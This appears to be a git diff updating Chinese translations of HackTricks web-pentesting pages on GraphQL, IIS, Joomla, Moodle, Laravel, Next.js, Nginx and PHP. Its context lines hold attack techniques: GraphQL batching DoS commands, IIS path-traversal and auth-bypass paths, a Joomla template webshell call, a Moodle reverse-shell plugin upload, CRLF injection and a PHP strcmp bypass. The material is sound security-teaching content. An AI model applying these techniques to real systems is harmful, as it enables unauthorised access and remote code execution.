API允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致**服务拒绝(DoS)**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。 +**基于数组的查询批处理** 是一种漏洞,其中 GraphQL API 允许在单个请求中批处理多个查询,使攻击者能够同时发送大量查询。这可能通过并行执行所有批处理查询来压垮后端,消耗过多的资源(CPU、内存、数据库连接),并可能导致 **服务拒绝(DoS)**。如果对批处理中的查询数量没有限制,攻击者可以利用这一点来降低服务可用性。 ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -522,7 +522,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -请注意,在前面的示例中,`@aa` 是一个自定义指令,**可能未被声明**。通常存在的一个常见指令是 **`@include`**: +请注意,在前面的示例中,`@aa` 是一个**可能未声明**的自定义指令。通常存在的一个常见指令是**`@include`**: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -554,10 +554,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试graphql端点的常见错误配置 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量GraphQL查询和变更的GraphQL安全审计脚本。 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的graphql -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找给定类型的路径的工具包。 +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式以及查找特定类型路径的工具包。 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击 -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达给定类型的不同方式**的工具。 +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达特定类型的不同方式**的工具。 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL的独立和CLI模式的继任者 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于规避实现不佳的速率限制非常有用。 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。 diff --git a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md index de8fde806..23acc5acc 100644 --- a/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md +++ b/src/network-services-pentesting/pentesting-web/h2-java-sql-database.md @@ -10,7 +10,7 @@ ![](<../../images/image (131).png>) -或者如果您知道例如**mysql正在运行**并且您知道**数据库名称**和**该数据库的凭据**,您可以直接访问它: +或者如果您知道例如**mysql正在运行**,并且您知道**数据库名称**和该数据库的**凭据**,您可以直接访问它: ![](<../../images/image (201).png>) @@ -18,7 +18,7 @@ _**来自HTB的Hawk盒子的技巧。**_ ## **RCE** -访问H2数据库后,请查看此漏洞以获取RCE:[https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) +访问H2数据库后,请查看此漏洞以获取RCE: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) ## H2 SQL注入到RCE diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 8d7ccfbd3..f9ae9b4c6 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -48,16 +48,16 @@ X-FEServer: NHEXCHANGE2016 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -使用时不要添加任何扩展名,所需的文件已经包含它。 +使用时无需添加任何扩展名,所需的文件已经包含。 ## 路径遍历 ### 泄露源代码 -查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +查看完整的写作内容在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> 总之,应用程序的文件夹中有多个 web.config 文件,引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\ +> 总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\ > 从 **下载的 Dlls** 中,还可以找到 **新的 namespaces**,您应该尝试访问并获取 web.config 文件,以便找到新的 namespaces 和 assemblyIdentity。\ > 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\\ @@ -73,7 +73,7 @@ Host: example-mvc-application.minded 此请求揭示了各种设置和依赖项,例如: - **EntityFramework** 版本 -- **AppSettings** 用于网页、客户端验证和 JavaScript +- **AppSettings** 用于网页、客户端验证和JavaScript - **System.web** 认证和运行时的配置 - **System.webServer** 模块设置 - **Runtime** 程序集绑定,适用于多个库,如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc** @@ -86,7 +86,7 @@ Host: example-mvc-application.minded ### **命名空间和 Web.Config** -MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**,以避免在每个文件中重复声明,如通过请求下载另一个 **web.config** 所示: +MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**,以避免在每个文件中重复声明,如请求下载另一个 **web.config** 所示: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -211,13 +211,13 @@ C:\xampp\tomcat\conf\server.xml **绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php` -您可以尝试将此**漏洞**与上一个漏洞结合,以发现新的**文件夹**并**绕过**身份验证。 +您可以尝试将此**漏洞**与最后一个结合,以找到新的**文件夹**并**绕过**身份验证。 ## ASP.NET Trace.AXD 启用调试 ASP.NET 包含调试模式,其文件名为 `trace.axd`。 -它保持对在一段时间内对应用程序发出的所有请求的详细日志。 +它保持对在一段时间内对应用程序所做的所有请求的详细日志。 此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息,甚至可能包括用户名和密码。 @@ -234,7 +234,7 @@ ASPXAUTH 使用以下信息: - **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。 - **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。 -然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果您可以找到一个使用**相同平台**的网页,该网页使用 ASPXAUTH cookie,并且您**在被攻击的服务器上创建一个与您想要冒充的用户相同的电子邮件的用户**,您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\ +然而,有些人会使用这些参数的**默认值**,并将**cookie 设置为用户的电子邮件**。因此,如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且您**在被攻击的服务器上创建一个与您想要冒充的用户相同的电子邮件的用户**,您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\ 这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。 ## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index b430b57fb..01898aeee 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -8,11 +8,11 @@ ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和 ## 朝着更安全的政策 -为了解决这些挑战,已经开发了一个 [工具](https://imagemagick-secevaluator.doyensec.com/) 来帮助设计和审计 ImageMagick 的安全策略。该工具基于广泛的研究,旨在确保策略不仅稳健,而且没有可能被利用的漏洞。 +为了解决这些挑战,已经开发了一个 [工具](https://imagemagick-secevaluator.doyensec.com/) 来帮助设计和审计 ImageMagick 的安全政策。该工具基于广泛的研究,旨在确保政策不仅稳健,而且没有可能被利用的漏洞。 ## 允许列表与拒绝列表方法 -历史上,ImageMagick 策略依赖于拒绝列表方法,其中特定的编码器被拒绝访问。然而,ImageMagick 6.9.7-7 中的变化改变了这一范式,使允许列表方法成为可能。该方法首先拒绝所有编码器,然后选择性地授予可信编码器访问权限,从而增强了安全态势。 +历史上,ImageMagick 政策依赖于拒绝列表方法,其中特定的编码器被拒绝访问。然而,ImageMagick 6.9.7-7 的变化改变了这一范式,使允许列表方法成为可能。该方法首先拒绝所有编码器,然后选择性地授予可信编码器访问权限,从而增强了安全态势。 ```xml ... @@ -25,7 +25,7 @@ ImageMagick 是一个多功能的图像处理库,由于其广泛的选项和 ## 资源限制 -如果未正确配置,ImageMagick 易受到拒绝服务攻击。在策略中设置明确的资源限制对于防止此类漏洞至关重要。 +如果配置不当,ImageMagick 易受到拒绝服务攻击。在策略中设置明确的资源限制对于防止此类漏洞至关重要。 ## 策略碎片化 @@ -35,7 +35,7 @@ $ find / -iname policy.xml ``` ## 一个入门的限制性政策 -提出了一种限制性政策模板,专注于严格的资源限制和访问控制。该模板作为开发与特定应用需求相一致的定制政策的基础。 +提出了一种限制性政策模板,专注于严格的资源限制和访问控制。该模板作为开发与特定应用需求对齐的定制政策的基础。 可以使用 `identify -list policy` 命令在 ImageMagick 中确认安全政策的有效性。此外,前面提到的 [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) 可以根据个人需求来完善政策。 diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index d8290c2f8..97cf37858 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -5,7 +5,7 @@ ### Joomla 统计 -Joomla 收集了一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。 +Joomla 收集一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。 ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -101,11 +101,11 @@ admin:admin 4. **保存并关闭** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` -## From XSS to RCE +## 从 XSS 到 RCE -- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 利用脚本,可以 **将 XSS 升级为 RCE 或其他关键漏洞**。更多信息请查看 [**这篇文章**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它支持 **Joomla 版本 5.X.X, 4.X.X 和 3.X.X,并允许:** -- _**Privilege Escalation:**_ 在 Joomla 中创建一个用户。 -- _**(RCE) 内置模板编辑:**_ 编辑 Joomla 中的内置模板。 -- _**(Custom) 自定义利用:**_ 针对第三方 Joomla 插件的自定义利用。 +- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit):Joomla 利用脚本,可以 **将 XSS 升级为 RCE 或其他关键漏洞**。更多信息请查看 [**这篇文章**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它支持 **Joomla 版本 5.X.X、4.X.X 和 3.X.X,并允许:** +- _**权限提升:**_ 在 Joomla 中创建一个用户。 +- _**(RCE) 内置模板编辑:**_ 编辑 Joomla 中的内置模板。 +- _**(自定义) 自定义利用:**_ 针对第三方 Joomla 插件的自定义利用。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index e6484e1f3..b01db6d86 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -83,7 +83,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ``` ### Laravel 反序列化 RCE -易受攻击的版本:5.5.40 和 5.6.x 通过 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +易受攻击的版本:5.5.40 和 5.6.x 直至 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 您可以在这里找到有关反序列化漏洞的信息:[https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) @@ -94,7 +94,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 另一个反序列化漏洞:[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQL注入 +### Laravel SQL 注入 在这里阅读有关此内容的信息:[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 275603082..34aae4e75 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -63,7 +63,7 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -我发现自动工具在查找影响moodle版本的漏洞时非常**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)中**检查**它们。 +我发现自动工具在查找影响moodle版本的漏洞方面非常**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)中**检查**它们。 ## **RCE** @@ -73,7 +73,7 @@ cmsmap http://moodle.example.com/ 如果你是管理员,你可能仍然需要**激活此选项**。你可以在moodle特权提升PoC中查看如何操作:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 -然后,你可以**安装以下插件**,该插件包含经典的pentest-monkey php r**ev shell**(_在上传之前,你需要解压缩它,修改revshell的IP和端口,然后再压缩_) +然后,你可以**安装以下插件**,该插件包含经典的pentest-monkey php r**ev shell**(_在上传之前,你需要解压缩它,修改revshell的IP和端口,然后再压缩它_) {% file src="../../images/moodle-rce-plugin.zip" %} diff --git a/src/network-services-pentesting/pentesting-web/nextjs.md b/src/network-services-pentesting/pentesting-web/nextjs.md index 6fe111352..e692f7ce9 100644 --- a/src/network-services-pentesting/pentesting-web/nextjs.md +++ b/src/network-services-pentesting/pentesting-web/nextjs.md @@ -49,10 +49,10 @@ my-nextjs-app/ - **app/page.tsx:** 作为根路由 `/` 的入口点,渲染主页。 - **app/\[route]/page.tsx:** 处理静态和动态路由。`app/` 中的每个文件夹代表一个路由段,而这些文件夹中的 `page.tsx` 对应于该路由的组件。 - **app/api/:** 包含 API 路由,允许您创建处理 HTTP 请求的无服务器函数。这些路由替代了传统的 `pages/api` 目录。 -- **app/components/:** 存放可重用的 React 组件,可以在不同页面和布局中使用。 +- **app/components/:** 存放可重用的 React 组件,可在不同页面和布局中使用。 - **app/styles/:** 包含全局 CSS 文件和用于组件范围样式的 CSS 模块。 - **app/utils/:** 包括实用函数、辅助模块和其他可以在应用程序中共享的非 UI 逻辑。 -- **.env.local:** 存储特定于本地开发环境的环境变量。这些变量 **不** 会提交到版本控制。 +- **.env.local:** 存储特定于本地开发环境的环境变量。这些变量 **不** 会提交到版本控制中。 - **next.config.js:** 自定义 Next.js 行为,包括 webpack 配置、环境变量和安全设置。 - **tsconfig.json:** 配置项目的 TypeScript 设置,启用类型检查和其他 TypeScript 功能。 - **package.json:** 管理项目依赖、脚本和元数据。 @@ -241,7 +241,7 @@ return ( 通配符路由 -通配符路由处理多个嵌套段或未知路径,提供了路由处理的灵活性。 +通配符路由处理多个嵌套段或未知路径,提供路由处理的灵活性。 **示例:`/*` 路由** @@ -279,7 +279,7 @@ return ( ``` **解释:** -- **Catch-All 段:** `[...slug]` 捕获所有剩余路径段作为数组。 +- **Catch-All 段:** `[...slug]` 捕获所有剩余的路径段作为数组。 - **用法:** 适用于处理动态路由场景,如用户生成的路径、嵌套类别等。 - **路由匹配:** 像 `/anything/here`、`/foo/bar/baz` 等路径由此组件处理。 @@ -381,7 +381,7 @@ placeholder="Enter file path" #### 为什么它容易受到攻击 -- **缺乏输入验证**:客户端允许任意 `filePath` 输入,启用路径遍历。 +- **缺乏输入验证**:客户端允许任意 `filePath` 输入,从而启用路径遍历。 - **信任客户端输入**:服务器端 API 信任并处理未经过清理的 `filePath`。 - **潜在的 API 操作**:如果 API 端点执行状态更改操作(例如,删除、修改文件),则可能通过 CSPT 被利用。 @@ -539,11 +539,11 @@ headers: { "Content-Type": "application/json" },
-捕获所有和嵌套路由 +通用和嵌套路由 -Next.js 13+ 支持高级路由功能,如捕获所有路由和嵌套 API 路由,允许更动态和可扩展的 API 结构。 +Next.js 13+ 支持高级路由功能,如通用路由和嵌套 API 路由,允许更动态和可扩展的 API 结构。 -**捕获所有路由示例:** +**通用路由示例:** ```javascript // app/api/[...slug]/route.js @@ -590,7 +590,7 @@ headers: { "Content-Type": "application/json" }, ## `pages` 目录中的 API 路由(Next.js 12 及更早版本) -在 Next.js 13 引入 `app` 目录并增强路由功能之前,API 路由主要定义在 `pages` 目录中。这种方法在 Next.js 12 及更早版本中仍然被广泛使用和支持。 +在 Next.js 13 引入 `app` 目录并增强路由功能之前,API 路由主要定义在 `pages` 目录中。这种方法在 Next.js 12 及更早版本中仍然广泛使用和支持。 #### 基本 API 路由 @@ -777,7 +777,7 @@ matcher: "/api/:path*", // Apply to all API routes ### 客户端的服务器代码暴露 -**在客户端使用服务器使用的代码是很容易的**,确保代码文件在客户端永远不被暴露的最佳方法是在文件开头使用此导入: +**服务器使用的代码也可以很容易地在客户端暴露和使用**,确保代码文件在客户端永远不被暴露的最佳方法是在文件开头使用此导入: ```js import "server-only" ``` @@ -832,12 +832,12 @@ matcher: ["/protected/:path*"], 安全头部 -安全头部通过指示浏览器如何处理内容来增强应用程序的安全性。它们有助于减轻各种攻击,如跨站脚本(XSS)、点击劫持和 MIME 类型嗅探: +安全头部通过指示浏览器如何处理内容来增强应用程序的安全性。它们有助于减轻各种攻击,如跨站脚本 (XSS)、点击劫持和 MIME 类型嗅探: -- 内容安全策略(CSP) +- 内容安全策略 (CSP) - X-Frame-Options - X-Content-Type-Options -- 严格传输安全(HSTS) +- 严格传输安全 (HSTS) - 引用者政策 **示例:** @@ -971,7 +971,7 @@ permanent: false, ```bash https://yourdomain.com/redirect?url=https://malicious-site.com ``` -用户信任原始域名可能会不知不觉地导航到有害网站。 +用户信任原始域名可能会不知不觉地访问有害网站。
@@ -1120,14 +1120,14 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client }, } ``` -**注意:** 要将变量限制为仅服务器端使用,请将它们从 `env` 对象中省略或使用 `NEXT_PUBLIC_` 前缀以便于客户端访问。 +**注意:** 要将变量限制为仅服务器端,请将它们从 `env` 对象中省略或使用 `NEXT_PUBLIC_` 前缀以供客户端使用。 ### 身份验证和授权 **方法:** - **基于会话的身份验证:** 使用 cookies 管理用户会话。 -- **基于令牌的身份验证:** 实现 JWT 进行无状态身份验证。 +- **基于令牌的身份验证:** 实现无状态身份验证的 JWT。 - **第三方提供者:** 使用 `next-auth` 等库与 OAuth 提供者(例如,Google、GitHub)集成。 **安全实践:** diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 2265708db..ddc15c2af 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -18,7 +18,7 @@ proxy_pass http://127.0.0.1:8080/; ``` 在此配置中,`/etc/nginx` 被指定为根目录。此设置允许访问指定根目录中的文件,例如 `/hello.txt`。然而,重要的是要注意,仅定义了一个特定位置(`/hello.txt`)。根位置(`location / {...}`)没有配置。这一遗漏意味着根指令适用于全局,使得对根路径 `/` 的请求能够访问 `/etc/nginx` 下的文件。 -此配置引发了一个关键的安全考虑。一个简单的 `GET` 请求,例如 `GET /nginx.conf`,可能会通过提供位于 `/etc/nginx/nginx.conf` 的 Nginx 配置文件来暴露敏感信息。将根目录设置为不那么敏感的目录,例如 `/etc`,可以减轻此风险,但仍可能允许意外访问其他关键文件,包括其他配置文件、访问日志,甚至用于 HTTP 基本身份验证的加密凭据。 +此配置引发了一个关键的安全考虑。一个简单的 `GET` 请求,例如 `GET /nginx.conf`,可能会通过提供位于 `/etc/nginx/nginx.conf` 的 Nginx 配置文件而暴露敏感信息。将根目录设置为不那么敏感的目录,例如 `/etc`,可以减轻此风险,但仍可能允许意外访问其他关键文件,包括其他配置文件、访问日志,甚至用于 HTTP 基本身份验证的加密凭据。 ## Alias LFI Misconfiguration @@ -28,7 +28,7 @@ location /imgs { alias /path/images/; } ``` -此配置容易受到LFI攻击,因为服务器将请求如`/imgs../flag.txt`解释为尝试访问超出预期目录的文件,实际上解析为`/path/images/../flag.txt`。此缺陷允许攻击者从服务器的文件系统中检索不应通过网络访问的文件。 +此配置容易受到LFI攻击,因为服务器将请求如`/imgs../flag.txt`解释为尝试访问预期目录之外的文件,实际上解析为`/path/images/../flag.txt`。此缺陷允许攻击者从服务器的文件系统中检索不应通过网络访问的文件。 为了减轻此漏洞,应调整配置为: ``` @@ -62,7 +62,7 @@ deny all; ../../pentesting-web/proxy-waf-protections-bypass.md {{#endref}} -## 不安全的变量使用 / HTTP 请求拆分 +## 不安全的变量使用 / HTTP 请求分割 > [!CAUTION] > 易受攻击的变量 `$uri` 和 `$document_uri`,可以通过用 `$request_uri` 替换它们来修复。 @@ -81,7 +81,7 @@ location / { return 302 https://example.com$uri; } ``` -字符 \r (回车) 和 \n (换行) 在 HTTP 请求中表示新行字符,它们的 URL 编码形式表示为 `%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为 `Detectify` 的新头部。这是因为 $uri 变量解码了 URL 编码的新行字符,从而导致响应中出现意外的头部: +字符 \r (回车) 和 \n (换行) 在 HTTP 请求中表示新行字符,它们的 URL 编码形式表示为 `%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为 `Detectify` 的新头。这是因为 $uri 变量解码了 URL 编码的新行字符,从而导致响应中出现意外的头: ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -93,7 +93,7 @@ Detectify: clrf ``` 了解有关 CRLF 注入和响应拆分的风险,请访问 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)。 -此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) ,提供了一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测这种错误配置,您可以使用以下请求: +此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 中提供了一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测这种错误配置,您可以使用以下请求: - `https://example.com/%20X` - 任何 HTTP 代码 - `https://example.com/%20H` - 400 错误请求 @@ -127,13 +127,13 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中被强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。 +发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中被强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误信息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。 要**检测此错误配置**,可以执行以下命令,该命令涉及设置一个referer头以测试变量打印: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -对这种错误配置的扫描显示,多个系统中用户可以打印Nginx变量的实例。然而,易受攻击实例数量的减少表明,修补此问题的努力在某种程度上是成功的。 +对系统进行的扫描显示出多个实例,其中用户可以打印Nginx变量。然而,易受攻击实例数量的减少表明,修补此问题的努力在某种程度上取得了成功。 ## 原始后端响应读取 @@ -168,7 +168,7 @@ proxy_hide_header Secret-Header; ### **Maclicious 响应头** -如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果某些头出现在来自 Web 服务器的响应中,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): +如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果 Web 服务器的响应中存在某些头,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): - `X-Accel-Redirect`: 指示 Nginx 将请求内部重定向到指定位置。 - `X-Accel-Buffering`: 控制 Nginx 是否应缓冲响应。 @@ -180,7 +180,7 @@ proxy_hide_header Secret-Header; ### **Map 指令中的默认值** -在 **Nginx 配置**中,`map` 指令通常在 **授权控制** 中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如: +在 **Nginx 配置**中,`map` 指令通常在 **授权控制**中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如: ```yaml http { map $uri $mappocallow { @@ -199,7 +199,7 @@ return 200 "Hello. It is private area: $mappocallow"; } } ``` -没有 `default`,**恶意用户** 可以通过访问 `/map-poc` 中的 **未定义 URI** 来绕过安全性。[Nginx 手册](https://nginx.org/en/docs/http/ngx_http_map_module.html) 建议设置 **默认值** 以避免此类问题。 +没有 `default`,**恶意用户**可以通过访问 `/map-poc` 中的 **未定义 URI** 来绕过安全性。[Nginx 手册](https://nginx.org/en/docs/http/ngx_http_map_module.html) 建议设置 **默认值** 以避免此类问题。 ### **DNS 欺骗漏洞** diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index f20a38bda..22c8011d6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,7 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - ## Cookies common location: 这同样适用于 phpMyAdmin cookies。 @@ -52,7 +51,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -如果此函数用于**任何身份验证检查**(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查: +如果此函数用于**任何身份验证检查**(例如检查密码),并且用户控制比较的一方,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -69,11 +68,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` ### 